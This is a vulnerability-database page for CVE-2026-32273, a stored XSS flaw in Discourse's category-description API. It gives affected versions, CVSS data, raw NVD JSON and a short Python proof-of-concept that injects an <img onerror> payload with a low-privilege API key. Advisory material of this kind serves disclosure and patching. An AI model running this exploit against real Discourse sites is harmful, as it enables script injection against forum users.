Security Vulnerability Report
中文
CVE-2026-32273 CVSS 5.4 MEDIUM

CVE-2026-32273

Published: 2026-03-31 18:16:50
Last Modified: 2026-04-09 19:43:27

Description

Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, updating a category description via API is not sanitizing the description string, which can lead to XSS attacks. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest.1:*:*:* - VULNERABLE
Discourse 2026.1.0 至 2026.1.3 之前
Discourse 2026.2.0 至 2026.2.2 之前
Discourse 2026.3.0 至 2026.3.0 之前

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Discourse Category Description XSS PoC # Description: Update category description via API with malicious payload. target_url = "https://target-discourse.com" api_key = "LOW_PRIVILEGE_API_KEY" api_username = "attacker" category_id = 1 # XSS Payload payload = "<img src=x onerror=alert('CVE-2026-32273')>" headers = { "Api-Key": api_key, "Api-Username": api_username, "Content-Type": "application/json" } # Endpoint to update category data = { "category": { "id": category_id, "description": payload } } response = requests.put(f"{target_url}/categories/{category_id}", headers=headers, json=data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Visit the category page to trigger XSS.") else: print(f"[-] Request failed: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32273", "sourceIdentifier": "[email protected]", "published": "2026-03-31T18:16:49.897", "lastModified": "2026-04-09T19:43:26.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, updating a category description via API is not sanitizing the description string, which can lead to XSS attacks. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.3", "matchCriteriaId": "F64DA8FA-BC32-4EB9-B508-6425684D3245"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.2", "matchCriteriaId": "26546710-17B3-4C72-930F-3BE0AD969127"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest.1:*:*:*", "matchCriteriaId": "DFA536C2-E9D9-4A03-89C2-C344DE682EA1"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/05e3da2a670cfd499649128b6c955b552451240b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/security/advisories/GHSA-h2h4-767x-6pc8", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}